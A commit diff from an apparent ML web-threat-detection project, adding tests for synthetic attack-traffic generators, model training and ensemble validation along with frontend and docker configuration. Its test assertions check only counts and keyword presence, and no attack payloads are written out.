+        Single-class labels raise ValueError
+        """
+        rng = np.random.default_rng(99)
+        X = rng.standard_normal((100, N_FEATURES)).astype(np.float32)
+        y_zeros = np.zeros(100, dtype=np.int32)
+        with pytest.raises(ValueError):
+            prepare_training_data(X, y_zeros)
+        y_ones = np.ones(100, dtype=np.int32)
+        with pytest.raises(ValueError):
+            prepare_training_data(X, y_ones)
+
+    def test_smote_skipped_minority_too_small(self, ) -> None:
+        """
+        Tiny minority skips SMOTE gracefully
+        """
+        X, y = _make_dataset(
+            n_normal=90,
+            n_attack=10,
+            n_features=N_FEATURES,
+        )
+        result = prepare_training_data(X, y, smote_k=50)
+        assert isinstance(result, TrainingSplit)
+        assert result.X_train.shape[0] > 0

PROJECTS/advanced/ai-threat-detection/backend/tests/test_synthetic.py

@@ -0,0 +1,179 @@
+"""
+©AngelaMos | 2026
+test_synthetic.py
+"""
+
+import numpy as np
+
+from app.core.features.encoder import encode_for_inference
+from app.core.features.extractor import extract_request_features
+from app.core.features.mappings import WINDOWED_FEATURE_NAMES
+from app.core.ingestion.parsers import ParsedLogEntry
+from ml.synthetic import (
+    generate_log4shell_requests,
+    generate_mixed_dataset,
+    generate_normal_requests,
+    generate_scanner_requests,
+    generate_sqli_requests,
+    generate_ssrf_requests,
+    generate_traversal_requests,
+    generate_xss_requests,
+)
+
+class TestGenerators:
+    """
+    Test individual attack and normal traffic generators
+    """
+
+    def test_sqli_returns_correct_count(self, ) -> None:
+        """
+        generate_sqli_requests returns the requested count
+        """
+        results = generate_sqli_requests(10)
+        assert len(results) == 10
+
+    def test_xss_returns_correct_count(self, ) -> None:
+        """
+        generate_xss_requests returns the requested count
+        """
+        results = generate_xss_requests(10)
+        assert len(results) == 10
+
+    def test_traversal_returns_correct_count(self, ) -> None:
+        """
+        generate_traversal_requests returns the requested count
+        """
+        results = generate_traversal_requests(10)
+        assert len(results) == 10
+
+    def test_log4shell_returns_correct_count(self, ) -> None:
+        """
+        generate_log4shell_requests returns the requested count
+        """
+        results = generate_log4shell_requests(10)
+        assert len(results) == 10
+
+    def test_ssrf_returns_correct_count(self, ) -> None:
+        """
+        generate_ssrf_requests returns the requested count
+        """
+        results = generate_ssrf_requests(10)
+        assert len(results) == 10
+
+    def test_scanner_returns_correct_count(self, ) -> None:
+        """
+        generate_scanner_requests returns the requested count
+        """
+        results = generate_scanner_requests(10)
+        assert len(results) == 10
+
+    def test_normal_returns_correct_count(self, ) -> None:
+        """
+        generate_normal_requests returns the requested count
+        """
+        results = generate_normal_requests(20)
+        assert len(results) == 20
+
+    def test_sqli_has_attack_payloads(self, ) -> None:
+        """
+        SQLi entries contain injection patterns in query string
+        """
+        results = generate_sqli_requests(20)
+        has_sqli = any("OR" in e.query_string or "UNION" in e.query_string
+                       or "DROP" in e.query_string or "SLEEP" in e.query_string
+                       for e in results)
+        assert has_sqli
+
+    def test_xss_has_script_patterns(self, ) -> None:
+        """
+        XSS entries contain script-related patterns
+        """
+        results = generate_xss_requests(20)
+        has_xss = any(
+            "script" in e.query_string.lower() or "alert" in
+            e.query_string.lower() or "onerror" in e.query_string.lower()
+            for e in results)
+        assert has_xss
+
+    def test_traversal_has_dotdot(self) -> None:
+        """
+        Traversal entries contain ../ in path
+        """
+        results = generate_traversal_requests(20)
+        has_traversal = any(".." in e.path or "%2e" in e.path.lower()
+                            for e in results)
+        assert has_traversal
+
+    def test_all_entries_are_parsed_log_entry(self, ) -> None:
+        """
+        All generators return ParsedLogEntry instances
+        """
+        generators = [
+            generate_sqli_requests,
+            generate_xss_requests,
+            generate_traversal_requests,
+            generate_log4shell_requests,
+            generate_ssrf_requests,
+            generate_scanner_requests,
+            generate_normal_requests,
+        ]
+        for gen in generators:
+            results = gen(5)
+            assert all(isinstance(e, ParsedLogEntry) for e in results)
+
+    def test_entries_pass_feature_extraction(self, ) -> None:
+        """
+        All generated entries extract and encode without error
+        """
+        generators = [
+            generate_sqli_requests,
+            generate_xss_requests,
+            generate_traversal_requests,
+            generate_log4shell_requests,
+            generate_ssrf_requests,
+            generate_scanner_requests,
+            generate_normal_requests,
+        ]
+        for gen in generators:
+            for entry in gen(5):
+                features = extract_request_features(entry)
+                for name in WINDOWED_FEATURE_NAMES:
+                    features[name] = 0.0
+                vector = encode_for_inference(features)
+                assert len(vector) == 35
+
+
+class TestMixedDataset:
+    """
+    Test end-to-end mixed dataset generation
+    """
+
+    def test_returns_correct_shape(self) -> None:
+        """
+        generate_mixed_dataset returns X with 35 columns
+        """
+        X, y = generate_mixed_dataset(100, 60)
+        assert X.shape == (160, 35)
+
+    def test_contains_both_labels(self) -> None:
+        """
+        y array contains both 0 and 1
+        """
+        _, y = generate_mixed_dataset(100, 60)
+        assert 0 in y
+        assert 1 in y
+
+    def test_label_counts_match(self) -> None:
+        """
+        Label counts match requested normal and attack counts
+        """
+        _, y = generate_mixed_dataset(100, 60)
+        assert np.sum(y == 0) == 100
+        assert np.sum(y == 1) == 60
+
+    def test_values_are_finite(self) -> None:
+        """
+        All feature values are finite
+        """
+        X, _ = generate_mixed_dataset(50, 30)
+        assert np.all(np.isfinite(X))

PROJECTS/advanced/ai-threat-detection/backend/tests/test_training.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_training.py
+
+Tests training pipelines for the autoencoder, random forest, and isolation forest models.
 """
 
 import numpy as np
@@ -14,10 +16,18 @@ class TestAutoencoderTraining:
 
     @pytest.fixture
     def normal_data(self) -> np.ndarray:
+        """
+        Three-hundred samples of clipped 35-dimensional float32 data representing normal traffic.
+        """
         rng = np.random.default_rng(42)
-        return (rng.standard_normal((300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
+        return (rng.standard_normal(
+            (300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
 
-    def test_returns_model_and_threshold(self, normal_data: np.ndarray) -> None:
+    def test_returns_model_and_threshold(self,
+                                         normal_data: np.ndarray) -> None:
+        """
+        Training returns model, threshold, scaler, and history keys.
+        """
         result = train_autoencoder(normal_data, epochs=5, batch_size=32)
         assert "model" in result
         assert "threshold" in result
@@ -25,24 +35,38 @@ class TestAutoencoderTraining:
         assert "history" in result
 
     def test_threshold_is_positive(self, normal_data: np.ndarray) -> None:
+        """
+        Computed reconstruction error threshold is a positive value.
+        """
         result = train_autoencoder(normal_data, epochs=5, batch_size=32)
         assert result["threshold"] > 0.0
 
     def test_history_has_train_loss(self, normal_data: np.ndarray) -> None:
+        """
+        Training history includes one train_loss entry per epoch.
+        """
         result = train_autoencoder(normal_data, epochs=5, batch_size=32)
         assert "train_loss" in result["history"]
         assert len(result["history"]["train_loss"]) == 5
 
     def test_custom_percentile(self, normal_data: np.ndarray) -> None:
-        result_95 = train_autoencoder(
-            normal_data, epochs=3, batch_size=32, percentile=95.0
-        )
-        result_99 = train_autoencoder(
-            normal_data, epochs=3, batch_size=32, percentile=99.0
-        )
+        """
+        Higher percentile produces a higher or equal reconstruction threshold.
+        """
+        result_95 = train_autoencoder(normal_data,
+                                      epochs=3,
+                                      batch_size=32,
+                                      percentile=95.0)
+        result_99 = train_autoencoder(normal_data,
+                                      epochs=3,
+                                      batch_size=32,
+                                      percentile=99.0)
         assert result_99["threshold"] >= result_95["threshold"]
 
     def test_model_is_in_eval_mode(self, normal_data: np.ndarray) -> None:
+        """
+        Returned model is in eval mode after training completes.
+        """
         result = train_autoencoder(normal_data, epochs=3, batch_size=32)
         assert not result["model"].training
 
@@ -51,37 +75,50 @@ class TestRandomForestTraining:
 
     @pytest.fixture
     def labeled_data(self) -> tuple[np.ndarray, np.ndarray]:
+        """
+        Four-hundred samples with 300 benign and 100 attack labels.
+        """
         rng = np.random.default_rng(42)
         X = rng.standard_normal((400, 35)).astype(np.float32)
-        y = np.concatenate([np.zeros(300, dtype=np.int64), np.ones(100, dtype=np.int64)])
+        y = np.concatenate(
+            [np.zeros(300, dtype=np.int64),
+             np.ones(100, dtype=np.int64)])
         return X, y
 
     def test_returns_model_and_metrics(
-        self, labeled_data: tuple[np.ndarray, np.ndarray]
-    ) -> None:
+            self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
+        """
+        Training returns model and metrics dict.
+        """
         X, y = labeled_data
         result = train_random_forest(X, y)
         assert "model" in result
         assert "metrics" in result
 
     def test_model_has_predict_proba(
-        self, labeled_data: tuple[np.ndarray, np.ndarray]
-    ) -> None:
+            self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
+        """
+        Trained model exposes predict_proba for probability scoring.
+        """
         X, y = labeled_data
         result = train_random_forest(X, y)
         assert hasattr(result["model"], "predict_proba")
 
     def test_metrics_contain_required_keys(
-        self, labeled_data: tuple[np.ndarray, np.ndarray]
-    ) -> None:
+            self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
+        """
+        Metrics dict contains f1, pr_auc, accuracy, precision, and recall.
+        """
         X, y = labeled_data
         result = train_random_forest(X, y)
         for key in ("f1", "pr_auc", "accuracy", "precision", "recall"):
             assert key in result["metrics"]
 
     def test_probabilities_in_valid_range(
-        self, labeled_data: tuple[np.ndarray, np.ndarray]
-    ) -> None:
+            self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
+        """
+        Predicted probabilities are within the [0, 1] range.
+        """
         X, y = labeled_data
         result = train_random_forest(X, y)
         proba = result["model"].predict_proba(X[:10])
@@ -89,8 +126,10 @@ class TestRandomForestTraining:
         assert proba.max() <= 1.0
 
     def test_metrics_values_in_valid_range(
-        self, labeled_data: tuple[np.ndarray, np.ndarray]
-    ) -> None:
+            self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
+        """
+        All metric values fall within [0, 1].
+        """
         X, y = labeled_data
         result = train_random_forest(X, y)
         for value in result["metrics"].values():
@@ -101,24 +140,39 @@ class TestIsolationForestTraining:
 
     @pytest.fixture
     def normal_data(self) -> np.ndarray:
+        """
+        Two-hundred samples of 35-dimensional standard normal float32 data.
+        """
         rng = np.random.default_rng(42)
         return rng.standard_normal((200, 35)).astype(np.float32)
 
     def test_returns_model(self, normal_data: np.ndarray) -> None:
+        """
+        Training returns a model key in the result dict.
+        """
         result = train_isolation_forest(normal_data)
         assert "model" in result
 
     def test_model_has_score_samples(self, normal_data: np.ndarray) -> None:
+        """
+        Trained model exposes score_samples for anomaly scoring.
+        """
         result = train_isolation_forest(normal_data)
         assert hasattr(result["model"], "score_samples")
 
-    def test_returns_metrics_with_n_samples(self, normal_data: np.ndarray) -> None:
+    def test_returns_metrics_with_n_samples(self,
+                                            normal_data: np.ndarray) -> None:
+        """
+        Metrics include n_samples matching the training set size.
+        """
         result = train_isolation_forest(normal_data)
         assert result["metrics"]["n_samples"] == 200
 
     def test_anomaly_scores_distinguish_normal_and_outlier(
-        self, normal_data: np.ndarray
-    ) -> None:
+            self, normal_data: np.ndarray) -> None:
+        """
+        Normal training data scores higher than extreme outliers.
+        """
         result = train_isolation_forest(normal_data)
         model = result["model"]
         normal_scores = model.score_samples(normal_data[:50])

PROJECTS/advanced/ai-threat-detection/backend/tests/test_training_e2e.py

@@ -0,0 +1,83 @@
+"""
+©AngelaMos | 2026
+test_training_e2e.py
+"""
+
+from pathlib import Path
+
+from app.core.detection.ensemble import (
+    blend_scores,
+    fuse_scores,
+    normalize_ae_score,
+    normalize_if_score,
+)
+from app.core.detection.inference import InferenceEngine
+from ml.orchestrator import TrainingOrchestrator
+from ml.synthetic import generate_mixed_dataset
+
+N_NORMAL = 500
+N_ATTACK = 200
+N_FEATURES = 35
+ENSEMBLE_WEIGHTS = {"ae": 0.4, "rf": 0.4, "if": 0.2}
+
+
+class TestTrainingE2E:
+    """
+    End-to-end training integration test
+    """
+
+    def test_full_training_produces_loadable_models(self,
+                                                    tmp_path: Path) -> None:
+        """
+        Full pipeline produces models that load and predict
+        """
+        X, y = generate_mixed_dataset(N_NORMAL, N_ATTACK)
+        assert X.shape == (
+            N_NORMAL + N_ATTACK,
+            N_FEATURES,
+        )
+
+        model_dir = tmp_path / "models"
+        orch = TrainingOrchestrator(output_dir=model_dir, epochs=3)
+        result = orch.run(X, y)
+
+        expected_files = [
+            "ae.onnx",
+            "rf.onnx",
+            "if.onnx",
+            "scaler.json",
+            "threshold.json",
+        ]
+        for filename in expected_files:
+            assert (model_dir / filename).exists(), f"Missing {filename}"
+
+        engine = InferenceEngine(str(model_dir))
+        assert engine.is_loaded
+
+        sample = X[:5]
+        predictions = engine.predict(sample)
+        assert predictions is not None
+        assert "ae" in predictions
+        assert "rf" in predictions
+        assert "if" in predictions
+        assert len(predictions["ae"]) == 5
+
+        threshold = engine.threshold
+        for i in range(5):
+            ae_score = normalize_ae_score(predictions["ae"][i], threshold)
+            if_score = normalize_if_score(predictions["if"][i])
+            rf_score = predictions["rf"][i]
+
+            scores = {
+                "ae": ae_score,
+                "rf": rf_score,
+                "if": if_score,
+            }
+            fused = fuse_scores(scores, ENSEMBLE_WEIGHTS)
+            assert 0.0 <= fused <= 1.0
+
+            blended = blend_scores(fused, 0.0)
+            assert 0.0 <= blended <= 1.0
+
+        assert result.passed_gates is not None
+        assert isinstance(result.passed_gates, bool)

PROJECTS/advanced/ai-threat-detection/backend/tests/test_validation.py

@@ -0,0 +1,189 @@
+"""
+©AngelaMos | 2026
+test_validation.py
+"""
+
+import json
+from pathlib import Path
+
+import numpy as np
+import pytest
+from sklearn.ensemble import IsolationForest, RandomForestClassifier
+
+from ml.autoencoder import ThreatAutoencoder
+from ml.export_onnx import (
+    export_autoencoder,
+    export_isolation_forest,
+    export_random_forest,
+)
+from ml.scaler import FeatureScaler
+from ml.validation import ValidationResult, validate_ensemble
+
+
+@pytest.fixture
+def trained_model_dir(tmp_path: Path) -> Path:
+    """
+    Create a temp directory with trained ONNX models for validation testing
+    """
+    rng = np.random.default_rng(42)
+    X_normal = rng.standard_normal((200, 35)).astype(np.float32)
+    X_attack = rng.standard_normal((80, 35)).astype(np.float32) + 3.0
+    X = np.vstack([X_normal, X_attack])
+    y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
+
+    ae = ThreatAutoencoder(input_dim=35)
+    export_autoencoder(ae, tmp_path / "ae.onnx")
+
+    rf = RandomForestClassifier(n_estimators=10, random_state=42)
+    rf.fit(X, y)
+    export_random_forest(rf, 35, tmp_path / "rf.onnx")
+
+    iso = IsolationForest(n_estimators=10, random_state=42)
+    iso.fit(X_normal)
+    export_isolation_forest(iso, 35, tmp_path / "if.onnx")
+
+    scaler = FeatureScaler()
+    scaler.fit(X_normal)
+    scaler.save_json(tmp_path / "scaler.json")
+
+    (tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
+
+    return tmp_path
+
+
+@pytest.fixture
+def separable_test_data() -> tuple[np.ndarray, np.ndarray]:
+    """
+    Test data where normal and attack clusters are well-separated
+    """
+    rng = np.random.default_rng(99)
+    X_normal = rng.standard_normal((50, 35)).astype(np.float32)
+    X_attack = (rng.standard_normal((30, 35)).astype(np.float32) + 3.0)
+    X = np.vstack([X_normal, X_attack])
+    y = np.array([0] * 50 + [1] * 30, dtype=np.int32)
+    return X, y
+
+
+class TestValidateEnsemble:
+    """
+    Test ensemble validation with metric gates
+    """
+
+    def test_returns_validation_result(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        validate_ensemble returns a ValidationResult instance
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(trained_model_dir, X_test, y_test)
+
+        assert isinstance(result, ValidationResult)
+
+    def test_result_has_all_metrics(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        ValidationResult contains precision, recall, f1, pr_auc, roc_auc
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(trained_model_dir, X_test, y_test)
+
+        assert 0.0 <= result.precision <= 1.0
+        assert 0.0 <= result.recall <= 1.0
+        assert 0.0 <= result.f1 <= 1.0
+        assert 0.0 <= result.pr_auc <= 1.0
+        assert 0.0 <= result.roc_auc <= 1.0
+
+    def test_confusion_matrix_shape(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        Confusion matrix is 2x2
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(trained_model_dir, X_test, y_test)
+
+        assert len(result.confusion_matrix) == 2
+        assert len(result.confusion_matrix[0]) == 2
+        assert len(result.confusion_matrix[1]) == 2
+
+    def test_gate_details_contains_both_gates(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        gate_details has pr_auc and f1 entries
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(trained_model_dir, X_test, y_test)
+
+        assert "pr_auc" in result.gate_details
+        assert "f1" in result.gate_details
+
+    def test_gates_pass_with_low_thresholds(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        passed_gates is True when gates are set very low
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(
+            trained_model_dir,
+            X_test,
+            y_test,
+            pr_auc_gate=0.01,
+            f1_gate=0.01,
+        )
+
+        assert result.passed_gates is True
+
+    def test_gates_fail_with_high_thresholds(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        passed_gates is False when gates are impossibly high
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(
+            trained_model_dir,
+            X_test,
+            y_test,
+            pr_auc_gate=1.0,
+            f1_gate=1.0,
+        )
+
+        assert result.passed_gates is False
+
+    def test_custom_ensemble_weights(
+        self,
+        trained_model_dir: Path,
+        separable_test_data: tuple[np.ndarray, np.ndarray],
+    ) -> None:
+        """
+        Custom ensemble weights are accepted without error
+        """
+        X_test, y_test = separable_test_data
+        result = validate_ensemble(
+            trained_model_dir,
+            X_test,
+            y_test,
+            ensemble_weights={
+                "ae": 0.5,
+                "rf": 0.3,
+                "if": 0.2
+            },
+        )
+
+        assert isinstance(result, ValidationResult)

PROJECTS/advanced/ai-threat-detection/backend/uv.lock

@@ -136,6 +136,7 @@ ml = [
     { name = "mlflow" },
     { name = "numpy" },
     { name = "onnxruntime" },
+    { name = "onnxscript" },
     { name = "pandas" },
     { name = "scikit-learn" },
     { name = "skl2onnx" },
@@ -157,6 +158,7 @@ requires-dist = [
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" },
     { name = "numpy", marker = "extra == 'ml'", specifier = ">=2.4.2" },
     { name = "onnxruntime", marker = "extra == 'ml'", specifier = ">=1.24.1" },
+    { name = "onnxscript", marker = "extra == 'ml'", specifier = ">=0.6.2" },
     { name = "orjson", specifier = ">=3.11.7" },
     { name = "pandas", marker = "extra == 'ml'", specifier = ">=2.2.0,<3" },
     { name = "pydantic", specifier = ">=2.12.5" },
@@ -1589,6 +1591,22 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/01/a0/4fb0e6d36eaf079af366b2c1f68bafe92df6db963e2295da84388af64abc/onnx-1.20.1-cp312-abi3-win_arm64.whl", hash = "sha256:21d747348b1c8207406fa2f3e12b82f53e0d5bb3958bcd0288bd27d3cb6ebb00", size = 16344155, upload-time = "2026-01-10T01:39:45.536Z" },
 ]
 
+[[package]]
+name = "onnx-ir"
+version = "0.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "ml-dtypes" },
+    { name = "numpy" },
+    { name = "onnx" },
+    { name = "sympy" },
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b2/a5/acc43c8fa6edbc584d127fb6bbd13ae9ebfc01b9675c74e0da2de15fa4a6/onnx_ir-0.2.0.tar.gz", hash = "sha256:8bad3906691987290789b26d05e0dbff467029a0b1e411e12e4cae02e43503e4", size = 141693, upload-time = "2026-02-24T02:31:10.998Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/4a/df/a99736bcca6b16e36c687ce4996abcf4ce73c514fddd9e730cfcb6a334f2/onnx_ir-0.2.0-py3-none-any.whl", hash = "sha256:eb14d1399c2442bd1ff702719e70074e9cedfa3af5729416a32752c9e0f82591", size = 164100, upload-time = "2026-02-24T02:31:09.454Z" },
+]
+
 [[package]]
 name = "onnxruntime"
 version = "1.24.1"
@@ -1609,6 +1627,23 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/ab/a2/cfcf009eb38d90cc628c087b6506b3dfe1263387f3cbbf8d272af4fef957/onnxruntime-1.24.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34488aa760fb5c2e6d06a7ca9241124eb914a6a06f70936a14c669d1b3df9598", size = 17099815, upload-time = "2026-02-05T17:31:43.092Z" },
 ]
 
+[[package]]
+name = "onnxscript"
+version = "0.6.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "ml-dtypes" },
+    { name = "numpy" },
+    { name = "onnx" },
+    { name = "onnx-ir" },
+    { name = "packaging" },
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e7/2b/538fdeb0e25bed5d7e0f954af5710543e2629499fb74381afc3333f8a8ae/onnxscript-0.6.2.tar.gz", hash = "sha256:abb2e6f464db40c9b8c7fbb3e64cca04cf3f4495e67c4eda5eac17b784191ce3", size = 590865, upload-time = "2026-02-10T22:53:39.638Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/66/56/e6b179397497ab93266b6eb00743403a6a699a29063a423c4a14595d3db9/onnxscript-0.6.2-py3-none-any.whl", hash = "sha256:20e3c3fd1da19b3655549d5455a2df719db47374fe430e01e865ae69127c37b9", size = 689064, upload-time = "2026-02-10T22:53:41.663Z" },
+]
+
 [[package]]
 name = "opentelemetry-api"
 version = "1.39.1"

PROJECTS/advanced/ai-threat-detection/compose.yml

@@ -74,6 +74,27 @@ services:
       start_period: 10s
     restart: always
 
+  frontend:
+    build:
+      context: .
+      dockerfile: infra/docker/vite.prod
+    container_name: vigil-frontend
+    ports:
+      - "${FRONTEND_HOST_PORT:-80}:80"
+    depends_on:
+      backend:
+        condition: service_healthy
+    networks:
+      - vigil_network
+      - certgames_net
+    healthcheck:
+      test: ["CMD", "wget", "-qO-", "http://localhost/health"]
+      interval: 30s
+      timeout: 5s
+      retries: 3
+      start_period: 10s
+    restart: always
+
   geoip-updater:
     image: maxmindinc/geoipupdate:latest
     container_name: vigil-geoip

PROJECTS/advanced/ai-threat-detection/dev.compose.yml

@@ -71,6 +71,24 @@ services:
       retries: 3
       start_period: 15s
 
+  frontend:
+    build:
+      context: .
+      dockerfile: infra/docker/vite.dev
+    container_name: vigil-frontend-dev
+    environment:
+      VITE_API_TARGET: http://backend:8000
+    ports:
+      - "${FRONTEND_HOST_PORT:-46969}:5173"
+    volumes:
+      - ./frontend:/app
+      - frontend_node_modules_dev:/app/node_modules
+    depends_on:
+      backend:
+        condition: service_healthy
+    networks:
+      - vigil_dev
+
 networks:
   vigil_dev:
     driver: bridge
@@ -79,3 +97,4 @@ volumes:
   postgres_dev:
   redis_dev:
   nginx_logs_dev:
+  frontend_node_modules_dev:

PROJECTS/advanced/ai-threat-detection/frontend/.dockerignore

@@ -0,0 +1,15 @@
+node_modules
+build
+dist
+.git
+.gitignore
+*.md
+.env*
+.vscode
+.idea
+*.log
+npm-debug.log*
+pnpm-debug.log*
+.DS_Store
+coverage
+.nyc_output

PROJECTS/advanced/ai-threat-detection/frontend/.gitignore

@@ -0,0 +1,25 @@
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+pnpm-debug.log*
+lerna-debug.log*
+
+node_modules
+dist
+dist-ssr
+*.local
+.vite
+
+# Editor directories and files
+.vscode/*
+!.vscode/extensions.json
+.idea
+.DS_Store
+*.suo
+*.ntvs*
+*.njsproj
+*.sln
+*.sw?

PROJECTS/advanced/ai-threat-detection/frontend/.stylelintignore

@@ -0,0 +1,22 @@
+# ©AngelaMos | 2025
+# .stylelintignore
+
+# Dependencies
+node_modules/
+
+# Production builds
+dist/
+build/
+out/
+
+# JS/TS files
+**/*.js
+**/*.jsx
+**/*.ts
+**/*.tsx
+
+# Generated files
+*.min.css
+
+# Error system styles - ignore from linting
+src/core/app/_toastStyles.scss

PROJECTS/advanced/ai-threat-detection/frontend/biome.json

@@ -0,0 +1,94 @@
+{
+  "$schema": "https://biomejs.dev/schemas/2.4.4/schema.json",
+  "vcs": {
+    "enabled": true,
+    "clientKind": "git",
+    "useIgnoreFile": true
+  },
+  "files": {
+    "includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
+  },
+  "formatter": {
+    "enabled": true,
+    "indentStyle": "space",
+    "indentWidth": 2,
+    "lineWidth": 82,
+    "lineEnding": "lf"
+  },
+  "javascript": {
+    "formatter": {
+      "quoteStyle": "single",
+      "jsxQuoteStyle": "double",
+      "semicolons": "asNeeded",
+      "trailingCommas": "es5",
+      "arrowParentheses": "always"
+    }
+  },
+  "linter": {
+    "enabled": true,
+    "rules": {
+      "recommended": true,
+      "complexity": {
+        "noExcessiveCognitiveComplexity": {
+          "level": "error",
+          "options": { "maxAllowedComplexity": 25 }
+        },
+        "noForEach": "off",
+        "useLiteralKeys": "off"
+      },
+      "correctness": {
+        "noUnusedVariables": "error",
+        "noUnusedImports": "error",
+        "useExhaustiveDependencies": "warn",
+        "useHookAtTopLevel": "error",
+        "noUndeclaredVariables": "error"
+      },
+      "style": {
+        "useImportType": "error",
+        "useConst": "error",
+        "useTemplate": "error",
+        "useSelfClosingElements": "error",
+        "useFragmentSyntax": "error",
+        "noNonNullAssertion": "error",
+        "useConsistentArrayType": {
+          "level": "error",
+          "options": { "syntax": "shorthand" }
+        },
+        "useNamingConvention": "off"
+      },
+      "suspicious": {
+        "noExplicitAny": "error",
+        "noDebugger": "error",
+        "noConsole": "warn",
+        "noArrayIndexKey": "warn",
+        "noAssignInExpressions": "error",
+        "noDoubleEquals": "error",
+        "noRedeclare": "error",
+        "noVar": "error"
+      },
+      "security": {
+        "noDangerouslySetInnerHtml": "error"
+      },
+      "a11y": {
+        "useAltText": "error",
+        "useAnchorContent": "error",
+        "useKeyWithClickEvents": "error",
+        "noStaticElementInteractions": "error",
+        "useButtonType": "error",
+        "useValidAnchor": "error"
+      }
+    }
+  },
+  "overrides": [
+    {
+      "includes": ["src/main.tsx"],
+      "linter": {
+        "rules": {
+          "style": {
+            "noNonNullAssertion": "off"
+          }
+        }
+      }
+    }
+  ]
+}

PROJECTS/advanced/ai-threat-detection/frontend/index.html

@@ -0,0 +1,44 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <!--
+  AngelusVigil
+  Author(s): © AngelaMos, CarterPerez-dev
+-->
+    <meta charset="UTF-8" />
+    <link
+      rel="icon"
+      type="image/x-icon"
+      href="/assets/favicon.ico"
+    />
+    <link
+      rel="apple-touch-icon"
+      type="image/png"
+      href="/assets/apple-touch-icon.png"
+    />
+    <link
+      rel="manifest"
+      href="/assets/site.webmanifest"
+    />
+    <meta
+      name="viewport"
+      content="width=device-width, initial-scale=1.0"
+    />
+    <title>AngelusVigil</title>
+    <meta
+      name="description"
+      content="*Cracked*"
+    />
+    <meta
+      name="author"
+      content=" ©AngelaMos | 2026 | CarterPerez-dev"
+    />
+  </head>
+  <body>
+    <div id="root"></div>
+    <script
+      type="module"
+      src="/src/main.tsx"
+    ></script>
+  </body>
+</html>

PROJECTS/advanced/ai-threat-detection/frontend/package.json

@@ -0,0 +1,50 @@
+{
+  "name": "frontend-template",
+  "private": true,
+  "version": "1.0.0",
+  "type": "module",
+  "scripts": {
+    "dev": "vite",
+    "build": "tsc -b && vite build",
+    "preview": "vite preview",
+    "lint": "biome check .",
+    "lint:fix": "biome check --write .",
+    "format": "biome format --write .",
+    "typecheck": "tsc -b",
+    "lint:scss": "stylelint '**/*.scss'",
+    "lint:scss:fix": "stylelint '**/*.scss' --fix"
+  },
+  "dependencies": {
+    "@tanstack/react-query": "^5.90.20",
+    "axios": "^1.13.4",
+    "react": "^19.2.4",
+    "react-dom": "^19.2.4",
+    "react-error-boundary": "^6.1.0",
+    "react-icon": "^1.0.0",
+    "react-icons": "^5.5.0",
+    "react-router-dom": "^7.13.0",
+    "sonner": "^2.0.7",
+    "zod": "^4.3.6",
+    "zustand": "^5.0.10"
+  },
+  "devDependencies": {
+    "@biomejs/biome": "^2.3.13",
+    "@tanstack/react-query-devtools": "^5.91.2",
+    "@types/node": "^25.1.0",
+    "@types/react": "^19.2.10",
+    "@types/react-dom": "^19.2.3",
+    "@vitejs/plugin-react": "^5.1.2",
+    "sass": "^1.97.3",
+    "stylelint": "^17.0.0",
+    "stylelint-config-prettier-scss": "^1.0.0",
+    "stylelint-config-standard-scss": "^17.0.0",
+    "typescript": "~5.9.3",
+    "vite": "npm:rolldown-vite@7.3.1",
+    "vite-tsconfig-paths": "^6.0.5"
+  },
+  "pnpm": {
+    "overrides": {
+      "vite": "npm:rolldown-vite@7.2.5"
+    }
+  }
+}

PROJECTS/advanced/ai-threat-detection/frontend/public/assets/site.webmanifest

@@ -0,0 +1 @@
+{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}

PROJECTS/advanced/ai-threat-detection/frontend/src/App.tsx

@@ -0,0 +1,35 @@
+// ===================
+// © AngelaMos | 2026
+// App.tsx
+// ===================
+
+import { QueryClientProvider } from '@tanstack/react-query'
+import { ReactQueryDevtools } from '@tanstack/react-query-devtools'
